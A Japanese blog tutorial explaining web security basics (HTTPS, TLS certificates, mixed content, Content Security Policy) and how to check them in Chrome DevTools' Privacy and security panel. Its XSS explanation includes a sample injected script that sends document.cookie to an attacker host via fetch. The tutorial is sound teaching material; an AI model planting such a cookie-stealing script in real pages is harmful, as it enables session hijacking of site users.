chrome 開発ツール

【基礎編】Chromeデベロッパーツールのセキュリティ機能とは？Webセキュリティの基礎知識

Chrome DevToolsのSecurityタブの基本的な使い方を解説するイラスト。ブラウザ画面にSecurity Overviewと南京錠アイコンが表示され、右側には『基本』の文字が大きく書かれている。

あなたのサイトは本当に安全ですか？

Webサイトを運営している、または開発しているあなた。「HTTPSにしたから安全」と思っていませんか？実は、HTTPSサイトでもMixed Contentや証明書エラーなど、さまざまなセキュリティ問題が潜んでいる可能性があります。

この記事では、Chrome DevToolsのPrivacy and securityパネル（旧Securityタブ）を使って、Webサイトのセキュリティ状態を確認する方法と、その背景にある基礎知識を解説します。

HTTPSとHTTPの違い：なぜHTTPSが必要なのか

HTTPの問題点

HTTP（Hypertext Transfer Protocol）は、Webサイトとブラウザの間でデータをやり取りするための基本的なプロトコルです。しかし、HTTPには重大な問題があります：

  • 盗聴のリスク：通信内容が暗号化されていないため、第三者が通信内容を盗み見ることができます
  • 改ざんのリスク：通信途中でデータを書き換えられる可能性があります
  • なりすましのリスク：接続先が本物のサイトかどうか確認できません

例えば、ログイン情報やクレジットカード番号をHTTPで送信すると、通信経路上で誰かに盗まれる可能性があります。

HTTPSの仕組み

HTTPS（HTTP Secure）は、HTTPにSSL/TLSという暗号化技術を組み合わせたプロトコルです。HTTPSには以下の3つの重要な機能があります：

  1. 暗号化：通信内容を第三者が読めないように暗号化します
  2. 完全性：データが改ざんされていないことを保証します
  3. 認証：接続先が本物のサイトであることを証明します

なぜHTTPSが必須になったか

近年、HTTPSは「あれば良い」ものから「必須」のものへと変わりました：

  • Googleの方針：2014年以降、GoogleはHTTPSをSEOランキングの要素として採用
  • ブラウザの警告：Chrome 68（2018年7月）以降、すべてのHTTPサイトに「保護されていません」と表示
  • 機能制限：一部のWeb API（位置情報、カメラなど）はHTTPSでのみ利用可能

SSL/TLS証明書の仕組み

証明書とは何か

SSL/TLS証明書は、Webサイトが本物であることを証明するデジタルな身分証明書のようなものです。証明書には以下の情報が含まれます：

  • ドメイン名：example.comなど
  • 発行先の組織情報：企業名や所在地（証明書の種類による）
  • 公開鍵：暗号化に使用される鍵
  • 有効期限：証明書が有効な期間
  • 発行者（CA）の署名：証明書が本物であることの証明

認証局（CA）の役割

**認証局（Certificate Authority, CA）**は、証明書の発行と管理を行う信頼できる第三者機関です。主要なCAには以下があります：

  • DigiCert
  • Let’s Encrypt（無料）
  • Sectigo（旧Comodo）
  • GlobalSign

CAは、証明書を発行する前にドメインの所有権や組織の実在性を確認します。

証明書の種類

SSL/TLS証明書には3つの主要な種類があります：

種類検証レベル取得時間用途DV（Domain Validation）ドメイン所有権のみ数分〜数時間個人サイト、ブログOV（Organization Validation）ドメイン＋組織の実在性数日企業サイトEV（Extended Validation）ドメイン＋組織の厳格な審査1〜2週間金融機関、ECサイト

初めてHTTPSを導入する場合は、Let’s Encryptの無料DV証明書がおすすめです。

有効期限

証明書には有効期限があります：

  • 以前：最長5年
  • 2020年9月以降：最長398日（約13ヶ月）

有効期限が短縮された理由は、セキュリティリスクの軽減です。証明書が侵害された場合、短い有効期限であれば被害を最小限に抑えられます。

Mixed Contentとは何か

Mixed Contentの定義

Mixed Content（混在コンテンツ）とは、HTTPSページの中にHTTPで読み込まれるリソースが含まれている状態を指します。

html

<!-- ❌ Mixed Content の例 -->
<html>
<head>
  <!-- ページ自体はHTTPS -->
  <link rel="stylesheet" href="http://example.com/style.css">
</head>
<body>
  <img src="http://example.com/image.jpg">
  <script src="http://example.com/script.js"></script>
</body>
</html>

なぜMixed Contentが危険なのか

HTTPSページでHTTPリソースを読み込むと、そのリソースは暗号化されていないため：

  • 盗聴：通信内容を第三者が傍受できます
  • 改ざん：攻撃者がリソースを書き換えることができます
  • セキュリティの弱体化：ページ全体のセキュリティが損なわれます

Active Mixed Content vs Passive Mixed Content

Mixed Contentは2種類に分類されます：

Active Mixed Content（能動的混在コンテンツ）

ページの動作に大きな影響を与えるリソース：

  • JavaScriptファイル
  • CSSファイル
  • iframeの内容
  • フォントファイル

ブラウザの対応：完全にブロックされます

Passive Mixed Content（受動的混在コンテンツ）

ページへの影響が比較的小さいリソース：

  • 画像
  • 動画
  • 音声

ブラウザの対応：自動的にHTTPSへアップグレードを試みます。アップグレードできない場合はブロックされます。

Mixed Contentの自動アップグレード

最近のブラウザは、Mixed Contentを自動的にHTTPSへアップグレードしようとします。例えば：

html

<!-- HTTPで指定されたリソース -->
<img src="http://example.com/image.jpg">

<!-- ブラウザが自動的にHTTPSへアップグレード -->
<!-- 実際のリクエスト: https://example.com/image.jpg -->

ただし、これはあくまで緊急措置です。開発者は最初からHTTPSで指定するべきです。

CSP（Content Security Policy）とは

CSPの基本

**CSP（Content Security Policy）**は、XSS（クロスサイトスクリプティング）攻撃などを防ぐためのセキュリティ機能です。

CSPを使うと、以下のことができます：

  • どのドメインからリソースを読み込めるか制限
  • インラインスクリプトの実行を制限
  • evalなどの危険な関数の使用を制限

XSS攻撃とは

XSS（Cross-Site Scripting）攻撃は、攻撃者が悪意のあるスクリプトをWebページに注入し、ユーザーのブラウザで実行させる攻撃手法です。

例：

html

<!-- 攻撃者が注入した悪意のあるスクリプト -->
<script>
  // ユーザーのCookieを盗む
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

CSPの設定方法

CSPはHTTPレスポンスヘッダーで設定します：

http

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.com

この設定の意味：

  • default-src 'self'：すべてのリソースは同じオリジンからのみ読み込める
  • script-src 'self' https://trusted.com：JavaScriptは自サイトとtrusted.comからのみ読み込める

インラインスクリプトの扱い

デフォルトでは、CSPはインラインスクリプトをブロックします：

html

<!-- ❌ CSPでブロックされる -->
<script>
  console.log('インラインスクリプト');
</script>

<button onclick="alert('クリック')">ボタン</button>

インラインスクリプトを許可する方法：

  1. ‘unsafe-inline’を使う（非推奨）：セキュリティが弱まります
  2. nonceを使う：各スクリプトに一意のトークンを付与
  3. hashを使う：スクリプトのハッシュ値を登録

推奨：外部ファイルに分離する

html

<!-- ✅ 推奨：外部ファイル化 -->
<script src="/js/app.js"></script>

ChromeのPrivacy and securityパネルで確認できる情報

Privacy and securityパネルとは

Chrome DevToolsのPrivacy and securityパネル（以前は「Security」タブ）は、Webページのセキュリティ状態を詳細に確認できるツールです。

開き方

  1. デベロッパーツールを開く
    • Windows/Linux：F12またはCtrl + Shift + I
    • Mac：Command + Option + I
  2. Privacy and securityパネルを表示
    • デベロッパーツール右上の「⋮」メニューをクリック
    • 「More tools」→「Privacy and security」を選択

確認できる主な情報

1. セキュリティの概要（Security Overview）

ページ全体のセキュリティ状態が表示されます：

  • 緑の鍵アイコン：ページは安全（HTTPS、Mixed Contentなし）
  • 情報アイコン（i）：ページは安全でない（HTTP）
  • 警告アイコン（⚠️）：問題あり（Mixed Content、証明書エラーなど）

2. 証明書情報

SSL/TLS証明書の詳細が確認できます：

  • 発行先（Issued to）：証明書が発行されたドメイン名
  • 発行者（Issued by）：認証局（CA）の名前
  • 有効期限（Valid from / to）：証明書の有効期間
  • 公開鍵情報：鍵のアルゴリズムとサイズ

3. 接続情報（Connection）

暗号化の詳細が表示されます：

  • TLSバージョン：TLS 1.2、TLS 1.3など
  • 暗号スイート：使用されている暗号化アルゴリズム

4. リソースのセキュリティ状態

ページが読み込むすべてのリソース（画像、CSS、JavaScriptなど）のセキュリティ状態が確認できます。

5. サードパーティCookieの情報

Privacy sectionでは、サードパーティCookieの状態も確認できます。

なぜセキュリティチェックが重要なのか

ユーザーの信頼

セキュリティ問題があると、ブラウザに警告が表示され、ユーザーの信頼を失います：

  • 「保護されていません」の表示
  • 「この接続ではプライバシーが保護されません」のエラーページ
  • アドレスバーの鍵アイコンに警告マーク

これらの警告は、訪問者の離脱率を大幅に上げる要因になります。

SEOへの影響

GoogleはHTTPSをランキング要素として使用しています：

  • HTTPSサイトは検索順位で優遇される
  • HTTPサイトは「保護されていません」と表示され、クリック率が低下
  • Mixed Contentがあるとページの評価が下がる可能性

法的コンプライアンス

多くの規制でHTTPSが要求されています：

  • PCI DSS：クレジットカード情報を扱うサイトはHTTPS必須
  • GDPR：個人情報の保護にはHTTPSが推奨される
  • Cookie規制：多くの国でSecure属性（HTTPS必須）が求められる

データの保護

HTTPSとセキュリティ設定は、以下を保護します：

  • ログイン情報
  • 個人情報
  • 決済情報
  • Cookieやセッション情報

次のステップ：実践編へ

この記事では、Webセキュリティの基礎知識を学びました：

  • ✅ HTTPSとHTTPの違い
  • ✅ SSL/TLS証明書の仕組み
  • ✅ Mixed Contentの危険性
  • ✅ CSPによるXSS対策
  • ✅ Chrome DevToolsでの確認方法

次の【実践編】では、以下を学びます：

  • Privacy and securityパネルの詳しい使い方
  • Mixed Contentエラーの具体的な修正方法
  • 証明書エラーのトラブルシューティング
  • CSPエラーの解決方法
  • HTTPSへの移行チェックリスト
  • 実務でのトラブル解決事例

実際にエラーを解決したい方は、ぜひ実践編をご覧ください！

まとめ

Webセキュリティは、ユーザーの信頼とデータを守るために不可欠です。Chrome DevToolsのPrivacy and securityパネルを使えば、サイトのセキュリティ状態を簡単に確認できます。

最低限やるべきこと：

  1. HTTPSを導入する
  2. Mixed Contentがないか確認する
  3. 証明書の有効期限を管理する
  4. 可能であればCSPを設定する

これらを実践することで、安全で信頼できるWebサイトを構築できます。

参考リンク：

アーカイブ

カテゴリー